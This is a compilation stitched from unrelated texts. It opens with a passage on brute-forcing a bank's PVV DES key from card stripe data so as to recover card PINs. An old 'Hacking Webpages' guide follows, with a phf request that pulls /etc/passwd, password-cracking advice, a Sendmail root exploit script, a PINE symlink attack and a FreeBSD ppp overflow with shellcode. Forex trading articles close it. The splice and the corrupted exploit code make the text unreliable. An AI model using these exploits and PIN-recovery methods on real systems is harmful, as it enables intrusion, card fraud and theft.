It is necessary to read the magnetic stripe of the card to get the PVV and the encrypting key selector. You can buy a commercial magnetic stripe reader or make one yourself following the instructions you can find in the previous page and links therein. Once you have a reader see this description of standard magnetic tracks to find out how to get the PVV from the data read. In that document the PVV field in tracks 1 and 2 is said to be five character long, but actually the true PVV consists of the last four digits. The first of the five digits is the key selector. I have only seen cards with a value of 1 in this digit, which is consistent with the standard and with the secret key never being compromised (and therefore they did not need to move to another key changing the selector).


I did a simple C program, getpvvkey.c, to perform the attack. It consists of a loop to try all possible keys to encrypt the first TSP, if the derived PVV matches the true PVV a new TSP is tried, and so on until there is a mismatch, in which case the key is discarded and a new one is tried, or the five derived PVVs match the corresponding true PVVs, in which case we can assume we got the bank secret key, however the loop goes on until it exhausts the key space. This is done to assure we find the true key because there is a chance (although very low) the first key found is a false positive.


It is expected the program would take a very long time to finish and to minimize the risks of a power cut, computer hang out, etc. it does checkpoints into the file getpvvkey.dat from time to time (the exact time depends on the speed of the computer, it's around one hour for the fastest computers now in use). For the same reason if a positive key is found it is written on the file getpvvkey.key. The program only displays one message at the beginning, the starting position taken from the checkpoint file if any, after that nothing more is displayed.


The DES algorithm is a key point in the program, it is therefore very important to optimize its speed. I tested several implementations: libdes, SSLeay, openssl, cryptlib, nss, libgcrypt, catacomb, libtomcrypt, cryptopp, ufc-crypt. The DES functions of the first four are based on the same code by Eric Young and is the one which performed best (includes optimized C and x86 assembler code). Thus I chose libdes which was the original implementation and condensed all relevant code in the files encrypt.c (C version) and x86encrypt.s (x86 assembler version). The code is slightly modified to achieve some enhancements in a brute force attack: the initial permutation is a fixed common steep in each TSP encryption and therefore can be made just one time at the beginning. Another improvement is that I wrote a completely new setkey function (I called it nextkey) which is optimum for a brute force loop.


To get the program working you just have to type in the corresponding place five TSPs and their PVVs and then compile it. I have tested it only in UNIX platforms, using the makefile Makegetpvvkey to compile (use the command "make -f Makegetpvvkey"). It may compile on other systems but you may need to fix some things. Be sure that the definition of the type long64 corresponds to a 64 bit integer. In principle there is no dependence on the endianness of the processor. I have successfully compiled and run it on Pentium-Linux, Alpha-Tru64, Mips-Irix and Sparc-Solaris. If you do not have and do not want to install Linux (you don't know what you are missing ;-) you still have the choice to run Linux on CD and use my program, see my page running Linux without installing it.


Once you have found the secret bank key if you want to find the PIN of an arbitrary card you just have to write a similar program (sorry I have not written it, I'm too lazy :) that would try all 10^4 PINs by generating the corresponding TSP, encrypting it with the (no longer) secret key, deriving the PVV and comparing it with the PVV in the magnetic stripe of the card. You will get one match for the true PIN. Only one match? Remember what we saw above, we have a chance of 0.0001 that a random encryption matches the PVV. We are trying 10000 PINs (and therefore TSPs) thus we expect 10000 * 0.0001 = 1 false positive on average.


This is a very interesting result, it means that, on average, each card has two valid PINs: the customer PIN and the expected false positive. I call it "false" but note that as long as it generates the true PVV it is a PIN as valid as the customer's one. Furthermore, there is no way to know which is which, even for the ATM; only customer knows. Even if the false positive were not valid as PIN, you still have three trials at the ATM anyway, enough on average. Therefore the probability we calculated at the beginning of this document about random guessing of the PIN has to be corrected. Actually it is twice that value, i.e., it is 0.0006 or one out of more than 1600, still safely low.


Results

It is important to optimize the compilation of the program and to run it in the fastest possible processor due to the long expected run time. I found that the compiler optimization flag -O gets the better performance, thought some improvement is achieved adding the -fomit-frame-pointer flag on Pentium-Linux, the -spike flag on Alpha-Tru64, the -IPA flag on Mips-Irix and the -fast flag on Sparc-Solaris. Special flags (-DDES_PTR -DDES_RISC1 -DDES_RISC2 -DDES_UNROLL -DASM) for the DES code have generally benefits as well. All these flags have already been tested and I chose the best combination for each processor (see makefile) but you can try to fine tune other flags.


According to my tests the best performance is achieved with the AMD Athlon 1600 MHz processor, exceeding 3.4 million keys per second. Interestingly it gets better results than Intel Pentium IV 1800 MHz and 2000 MHz (see figures below, click on them to enlarge). I believe this is due to some I/O saturation, surely cache or memory access, that the AMD processor (which has half the cache of the Pentium) or the motherboard in which it is running, manages to avoid. In the first figure below you can see that the DES breaking speed of all processors has more or less a linear relationship with the processor speed, except for the two Intel Pentium I mentioned before. This is logical, it means that for a double processor speed you'll get double breaking speed, but watch out for saturation effects, in this case it is better the AMD Athlon 1600 MHz, which will be even cheaper than the Intel Pentium 1800 MHz or 2000 MHz.


In the second figure we can see in more detail what we would call intrinsic DES break power of the processor. I get this value simply dividing the break speed by the processor speed, that is, we get the number of DES keys tried per second and per MHz. This is a measure of the performance of the processor type independently of its speed. The results show that the best processor for this task is the AMD Athlon, then comes the Alpha and very close after it is the Intel Pentium (except for the higher speed ones which perform very poor due to the saturation effect). Next is the Mips processor and in the last place is the Sparc. Some Alpha and Mips processors are located at bottom of scale because they are early releases not including enhancements of late versions. Note that I included the performance of x86 processors for C and assembler code as there is a big difference. It seems that gcc is not a good generator of optimized machine code, but of course we don't know whether a manual optimization of assembler code for the other processors (Alpha, Mips, Sparc) would boost their results compared to the native C compilers (I did not use gcc for these other platforms) as it happens with the x86 processor.

The top mark I got running my program was approximately 3 423 922 keys/second using the AMD processor. So, how much time would need the AMD to break the VISA PIN? It would simply be the ratio between the size of the key space and the key trying rate, that is, 2^56 keys/3 423 922 keys/second ~ 2.1 * 10^10 seconds ~ 244 thousand days ~ 667 years. This is the time for the program to finish, but on average the true secret key will be found by half that time. Using commercial cryptographic cards (like the IBM PCI Cryptographic Coprocessor or the XL-Crypt Encryption Accelerator) does not help very much, they are, at most, 2 times faster than my top mark, i.e. it would take more than a hundred years to find the key, at best. Some more speed might be achieved (double, at most) by using a dedicated gigabit VPN box or similar hardware in a way surely not foreseen by the manufacturer ;-)


Even if you manage to get a hundred newest AMD or Pentium processors working in parallel it would still take more than 3 years to find the key (if they are provided with crypto-cards the time might be reduced to less than two years or to less than one year in case of a hundred gigabit VPN boxes). It is clear that only expensive dedicated hardware (affordable only by big institutions) or a massive Internet cooperative attack would success in a reasonable time (both things were already made). These are the good news. The bad news is that I have deliberately lied a little bit (you may already noticed it): VISA PVV algorithm allows for the use of triple DES (3-DES) encryption using a 128 bit (only 112 effective) encrypting key. If 3-DES is indeed in use by the PVV system you can still use the same attack but you would need four additional TSP-PVV pairs (no problem with that) and it would take more than 3 * 2^56 times more to find the double length key. Forget it.


PVV algorithm with triple DES consists in the encryption of the TSP with the left half of the encrypting key, then it decrypts the result with the right half of the key and encrypts the result again with the left half of the key. Note that if you use a symmetric 128 bit key, that is, the left half equals the right half, you get a single DES encryption with a single 64 bit key. In this case the algorithm degenerates into the one I explained above. That's why I did this work, because PVV system is old and maybe when it was implanted 3-DES was not viable (due to hardware limitations) or it seemed excessive (by that time) to the people responsible of the implementation, so that it might be possible some banks are using the PVV algorithm with single DES encryption.


Finally we can conclude that the VISA PVV algorithm as in its general form using 3-DES is rather secure. It may only be broken using specially designed hardware (implying an enormous inversion and thus not worth, see Wayner and Wiener) which would exceed the encryption rate of the newest processors by many orders of magnitude. However the apparently endless exponential growing of the computer capacities as well as that of the Internet community makes to think that PVV system might be in real danger within a few years. Of course those banks using PVV with single DES (if any) are already under true risk of an Internet cooperative attack. You might believe that is something very hard to coordinate, I mean convincing people, but think about trojan and virus programs and you will see it is not so difficult to carry on.

Hacking Webpages The Ultimate Guide -Getting the Password File Through FTP -The PHF Technique -Telnet and Exploits

Hacking Webpages

The Ultimate Guide


Well Silver wrote one of the most helpful unix text files in cyberspace

but with the mail that we recieved after the release of our famous 36 page

Unix Bible we realised that unix isn't for everybody so we decided that we

should write on another aspect of hacking..... Virtual Circuit and Psychotic

is proud to release, "Hacking Webpages With a few Other Techniques." We will

discuss a few various ways of hacking webpages and getting root. We are also

going to interview and question other REAL hackers on the subjects.


Getting the Password File Through FTP


Ok well one of the easiest ways of getting superuser access is through

anonymous ftp access into a webpage. First you need learn a little about

the password file...


root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh


This is an example of a regular encrypted password file. The Superuser is

the part that gives you root. That's the main part of the file.


root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp


This is another example of a password file, only this one has one

little difference, it's shadowed. Shadowed password files don't let you

view or copy the actual encrypted password. This causes problems for the

password cracker and dictionary maker(both explained later in the text).

Below is another example of a shadowed password file:


root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false


Shadowed password files have an "x" in the place of a password or sometimes

they are disguised as an * as well.


Now that you know a little more about what the actual password file looks like

you should be able to identify a normal encrypted pw from a shadowed pw file.

We can now go on to talk about how to crack it.


Cracking a password file isn't as complicated as it would seem, although the

files vary from system to system. 1.The first step that you would take is to

download or copy the file. 2. The second step is to find a password cracker and

a dictionary maker. Although it's nearly impossible to find a good cracker there

are a few ok ones out there. I recomend that you look for Cracker Jack, John the

Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or

a dictionary file... When you start a cracking prog you will be asked to find

the the password file. That's where a dictionary maker comes in. You can download

one from nearly every hacker page on the net. A dictionary maker finds all the

possible letter combinations with the alphabet that you choose(ASCII, caps,

lowercase, and numeric letters may also be added) . We will be releasing our

pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect

Drug." As far as we know it will be one of the largest in circulation. 3. You then

start up the cracker and follow the directions that it gives you.



The PHF Technique


Well I wasn't sure if I should include this section due to the fact that everybody

already knows it and most servers have already found out about the bug and fixed it.

But since I have been asked questions about the phf I decided to include it.


The phf technique is by far the easiest way of getting a password file(although it

doesn't work 95% of the time). But to do the phf all you do is open a browser and

type in the following link:


http://webpage_goes_here/cgi-bin/phf?Qalia...t%20/etc/passwd


You replace the webpage_goes_here with the domain. So if you were trying to get

the pw file for www.webpage.com you would type:


http://www.webpage.com/cgi-bin/phf?Qalias=...t%20/etc/passwd


and that's it! You just sit back and copy the file(if it works).



Telnet and Exploits


Well exploits are the best way of hacking webpages but they are also more complicated

then hacking through ftp or using the phf. Before you can setup an exploit you must

first have a telnet proggie, there are many different clients you can just do a netsearch

and find everything you need.


ItТs best to get an account with your target(if possible) and view the glitches from

the inside out. Exploits expose errors or bugs in systems and usually allow you to gain

root access. There are many different exploits around and you can view each seperately.

IТm going to list a few below but the list of exploits is endless.


This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:


cat <<>/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat <<>/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat <<>/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi



and now on to another exploit. IТm going to display the pine exploit through linux.

By watching the process table with ps to see which users are running PINE, one can

then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process

table once again will now reveal when each user quits PINE or runs out of unread messages

in their INBOX, effectively deleting the respective lockfile.


Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic

example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id

as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm

/tmp/.hamors_lockfile.


This was writen by Sean B. Hamor For this example, hamors is the victim while catluvr is

the attacker:


hamors (21 19:04) litterbox:~> pine


catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine


catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4


catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine


catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4


hamors (23 19:09) litterbox:~> pine


catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine


catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4


catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +


catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4


catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors


now on to another one, this will be the last one that IТm going to show. Exploitation

script for the ppp vulnerbility as described by no one to date, this is NOT

FreeBSD-SA-96:15. Works on FreeBSD as tested. Mess with the numbers if it doesnt

work. This is how you set it up:


#include

#include

#include


#define BUFFER_SIZE 156 /* size of the bufer to overflow */


#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */


long get_esp(void) { __asm__("movl %esp,%eax\n"); }


main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */


int i,j;


buf = malloc(4096);


/* fill start of bufer with nops */


i = BUFFER_SIZE-strlen(execshell);


memset(buf, 0x90, i);

ptr = buf + i;


/* place exploit code into the buffer */


for(i = 0; i < addr_ptr =" (long" i="0;i" ptr =" (char" ptr =" 0;">
http://www.e-thief.biz

Theory: When To Trade?

The question quite often comes up about when are the best times to trade? Everyone has their own ideas on what they think is the best time to trade, and quite often it depends on what type of system you are using. If you run a system that looks for trends, the best time for you would be different for a system looking for breakouts.

Rather than get into all that however (again just google "best forex trading times" for plenty of info on that) let's look at the best times to trade based on your experience instead.

A beginner, I would think, would be someone new to the forex markets, someone who has yet to fully develop their trading system, or, if they have, find it hard to maintain the discipline to stick to it no matter what. Some things that might identify a beginner trade could be:

• Unaware of stop losses
  
• Unsure of trend identification
• Looking at one timeframe only (probably the 5M or 15M)
• Quick to jump into a trade, slow to get out
• Hazy on when to exit a profitable trade
  

Please don't think I am talking down to anyone, as some of the above applies to us all at times but these are things that I see encapsulate beginnner traders.

With those points in mind, the safest trading time would be one where:

• The chances of big losses are low
  
• You have time to think you trades through
  
• There are some defineable trends to help you out in getting on the right side of the trade
• Sharp, quick movements in the opposite direction to your trade aren't common
  

The markets can move so quickly, and any trade placed without a stop loss, is open to a sharp reversal and a big loss. Head out for a cup of tea, come back and your +10 could now be -50 by the time the kettle has boiled.

So when is the best time to trade based on the above? Well lets look it another way, what are the times where the above points are not met. My opinion? The opening of the different markets! There are three major markets to look out for, the Asian market, the European market and the US market. The opening and closing of these markets are often the most volatile, with sharp movements up and down with no apparent order quite often seen and many a beginner trader crying foul over a sharp reversal on their trade they have just been watching for the last hour.

Look at the above chart, this is a 15M chart from late last week of the EUR/USD. I have highlighted two areas, which is the opening of the European and US markets. Notice, how just before the opening of the price was slowly trending in one direction, but then, as the respective markets opened a sharp reversal sprung up in the opposite direction, taking with it many peoples profits I am sure, and spoiling many a traders tea. You find this espectially on the opening of Europe.

The best times for quiet, trending activity tends to be in the middle third of the trading sessions, the middle of the Asian session is a less volatile time, but can be too quiet for some. Approaching the opening of the European sessions, activity tends to pick up, but remember, be careful come opening time. I prefer the mid European session, but rarely get to trade it due to the time differences here in Australia, the mid US session can also be good but usually I am so buggered by that time, my decision making is shocking.

So pick what you prefer, if you are in it for a fast buck and don't care about making it a possible career, then opening and closing times can be right up your ally, but if you want to test out a system you are developing, look at the mid session times that suit you. Remember though news releases and data can effect everything, so always keep an eye out on the news anytime you trade.

Remember, this is not necessarily the most profitable time to trade in terms of pip movement, but while you are picking things up, minimising the chance of your account being wiped out is always a good idea.

I hope this helps someone, you can get the current times in the different areas by using this great little forex clock here. For my fellow countryfolk in Australia, below are the opening and closing times in AEST (thanks to aaron on Marketiva for these):

[AUS open 8:00am close 4:00pm]
[JYP open 10:00am close 6:00pm]
[EUR open 4:00pm close 12:00am]
[GBP open 5:00pm close 1:00am]
[USD open 10:00pm close 6:00am]

Ill leave it with a quote I read somewhere:

"Ametuers open the markets, professionals close them"

Theory: When to Exit

..you actually make bugger all money if you can't execute and exit as precisely as you entered...

Hi all,

Welcome to another article, this time on when to exit a trade. When beginner traders start looking for that magic "make me a bucket load of cash" trading system, quite often the last thing thought about is their exit strategy. Usually the first and most important thing on a traders mind is when to enter a market, forgetting that you actually make bugger all money if you can't execute and exit as precisely as you entered.

There are three main scenarios that a trader will find themselves thinking of their exit:

1. A trade has moved as expected and they are in profit
2. A trade has moved opposite to what they expected, and they are in loss
3. A trade is dancing around the neutral zone of their trade

At first glance, you would think the easiest scenario of the three to exit under is number 1, i.e. when you are in profit, after all you are "cashing in" so how hard can it be. In fact, in reality all three can be as hard as each other. The reason?, like most things with trading, it comes to emotion. Below I have added the underlying emotions that might stop you closing a trade under these three scenarios:

1. A trade has moved as expected and they are in profit (GREED)
   
2. A trade has moved opposite to what they expected, and they are in loss (OPTIMISM)
   
3. A trade and dancing around the neutral zone of the trade (FEAR)

Let's look at them one by one.

Cannot close a profitable trade (Greed)

Everyone fights greed every day in life, always "wanting" rather than sticking to what you actually "need". It is part of a materialistic modern day culture that most of us are subject to. Trading is no different, and it is usually greed that can turn a nice logical, well planned and profitable trade into a losing one. When this happens, a trader reacts two ways, one, they are distraught at themselves for letting it all get away, or two, they tell themselves "well I was right with my prediction, the market just had it in for me".

Think of this, you set up a trade, monitor the setup closely, wait for the exact time to enter a trade, calculate your stop loss, your order is hit and you are in the trade. The price action moves beautifully, moving quickly towards your scantily thought about target (if you set one), and the sense of delight sends your brain into overdrive, working out the profits, imagining the ferrari soon to be in the drive-way, wondering if 2000 pips has ever been done in one day. This is when you know you are in some trouble, this is when greed has started to set in, you remove your profit target thinking "let's see how long this goes", you don't move your stop loss, cause you don't even contemplate that it might reverse, and you "go for the ride".

A common saying is "cut your losses, and let your profits run" (or something like that ;)), and it is a very good theory that should be followed. However, how do you ride your profits, without risking a reversal that you will undoubtedly put down to "a correction that will soon move back my way".

Personally I look at it this way:

1. Move your stop loss to break even or better as soon as is logically possible without risking being whipsawed out, that will ensure you will not lose money on the trade, ease the stress, and bring peace to the world (ok maybe not that). I take the view of never let a winning trade turn into a losing one so at least lock in 1 pip if it makes you feel better.
2. If the move was stronger that you anticipated, and you had a 20 pip profit target. Remove your profit target, and move your stop loss to the profit target as soon as possible. What you effectively have done is close your trade (because your stop loss is at your original target) and you are letting your profits run at the same time, two for the price of one, bargain!
3. Continue to follow the trade with your stop loss, and remember, 20 pips was your target, be satisfied with whatever you can get after that, but don't take any less. You can use one of the many trailing stop techniques to do this or look at the parabolic SAR indicator.

Cannot close a losing trade (Optimism)

I was tempted to use the word "Dillusion" for this one but felt perhaps that is a little harsh, you know the deal, you enter a trade, you set a 25 pip stop loss, the trade moves the wrong way and you are -20 on the trade, you look at the chart again frantically, and optimistically think "Oh of course ... I should have set the stop loss beyond that resistance level from the year 1967, what was I thinking" and you change your stop loss, making it -35. The price continues to move in the wrong direction, and you either cop a -35 pip loss instead of -20, or you remove your stop loss all together and spend the next week driving everyone nuts asking "will the EUR/USD go up?" to every trader in the chat room.

... Some may say, that they removed their stop loss and eventually, their -100 pips turned into +10, so there .. stick that up your jumper ...

What you do when you move a stop loss further away from entry, is completely change the ratio of the trade you entered. What was originally a 2:1 trade, i.e. your potential gain was twice as large as your potential loss, becomes a 1:1 trade, which is just asking for a margin call very quickly.

My advice on this? NEVER NEVER (I think that is pretty clear) move a stop loss further away from your entry, you can move it closer or break even if you wish, as this improves your risk/reward ratio, but never away. Some may say, that they removed their stop loss and eventually, their -100 pips turned into +10, so there .. stick that up your jumper ... the only problem is, that while they waited the week out waiting for the price to turn around (sometimes it never does .. look at the USD/JPY at the moment) they have tied up the entire margin, meaning they are locked out of many many more potentially profitable trades. So while you might end the week at +10, in the meantime other trades cut their losses at -20, entered 15 more trades in the week, and finished +100 for the week and at the same time learnt a hell of a lot more.

You want to close a trade dancing around the neutral zone (Fear)

This one is different, this is when you have a trade at +1, 0 or -1 pips, right around your entry, and it hangs there for quite a while, what do you do? Do you take a really small gain of +1 "just in case" it turns? Personally, and this one is up to you, I say never close a trade around the neutral zone of a trade, the ultimate aim of a trader, is to see a movement before the majority of others, you can then get in early, and when the others have caught up, let them make you money.

If you have spent the time analysing a trade, trust your judgement, if you analysed correctly, you may have got in early and it will take some time for the others to catch up. Don't be fearful of a losing trade, instead trust what you saw in the first place when you placed the trade. Sure there will be times when you end up losing, but if you cut your losses and let profits run, then you will be well in front in the end.

... If a trade has moved 1 pip past your target (that you have not automatically set), why close it? ...

So that is it, to summarise:

• Always assess your potential profit target, and close, or lock it in as soon as possible with your stop loss.
• Never move a stop loss away from your entry price.
  
• Don't be fearful you could be wrong, instead be trusting in that you are probably right.

One last little tip, I personally never manually close a trade when it goes my way, my trades are closed either by my profit target being hit as set, or preferably, because I have moved my stop loss to my target and I am following the trade from their on in. If a trade has moved 1 pip past your target (that you have not automatically set), why close it?, why not move your stop loss to the target point, at which point you the price will either close you at your target as you originally wanted (congratulations, well done, bravo!), or it will continue it's run and you are essentially "playing with the markets money". This exact strategy turned my trade last night on the USD/CAD from a +45 target trade to eventually it being closed out at +93, it won't work all the time but you have nothing to lose if your target is locked in.

Happy trading!

Theory: What To Trade?

... I can't tell you what to trade as much as the next person, essentially you need to make that decision yourself ...

Hi there!

Time for another theory article while the markets are quiet, this time on the first question asked by every new trader I see in the chat rooms, "Can someone tell me what to trade?". Now I can't tell you what to trade as much as the next person, essentially you need to make that decision yourself, not rely on others to tell you what to do, but we can look into how some currency pairs behave to give us a hint into what will suit you.

There are a multitude of currency pairs out there, pick a countries currency, and there will probably be a broker out there trading it, but what we want to look at is the most commonly traded pairs, or the majors as they are refered to. Below is a list of the major currency pairs most commonly offered:

• EUR/USD (Euro/US Dollar)
  
• GBP/USD (Pound/US Dollar)
• USD/CHF (US Dollar/Swissy)
• USD/JPY (US Dollar/ Yen)
• AUD/USD (Australian Dollar/US Dollar)
  
• USD/CAD (US Dollar/Canadian)
  

Now what do you notice is the common theme through them all? Yep the USD, all the majors either have the USD as the base currency or are matched against the USD. You will find the above list will also have the tightest spreads (see Forex 101 for an explanation on spreads) with most brokers, and will have the biggest daily ranges (difference between the daily high and low).

So what to trade?, if you are a beginner trader, without a tested and trusted system in place, it would be best to choose a couple of these pairs only. More than 2 or 3 will more than likely confuse the buggery out of you, and the last thing we need is to trade confused (I live my life confused, so I would rather not trade that way ;)).

The GBP/USD (known as the "cable") is very popular amongst traders as it tends to have the highest daily range, giving up more pips in it's moves than any other on average. The EUR/USD is also popular as it tends to have the smallest spread with most brokers, why the USD/CHF is another that has some substantial movements.

... as you trade you will start to notice the relationship between the different majors ...

Quite often which pairs you choose might be to do with when you trade. If you tend to trade the asian session the most, the pairs that include asian or oceania currencies would be a good choice such as the USD/JPY, AUS/USD or even, while not a major, the NZD/USD. Those trading the european session of course might choose teh EUR/USD or the GBP/USD, which just about all the majors are ok to trade during the US session.

As you trade you will start to notice the relationship between the different majors, such as how the EUR/USD and GBP/USD tend to mimmick each other, and that if the EUR/USD is going down, then more than likely the USD/CHF is going up. This of course is because they both have the USD as part of their pairing, so if the USD is getting stronger, the EUR/USD will be moving down (Euro getting weaker against a strengthening USD) and the USD/CHF moving up (USD strengthening against the Swissy).

The only exceptions to this relationship will be when country specific news is released, such as a good economic meter reading in switzerland might move the USD/CHF but not the GBP/USD and so forth.

Whichever you choose, there is money to made and lost just as quickly, so be sure to keep your money management tight and your head clear.

Happy trading!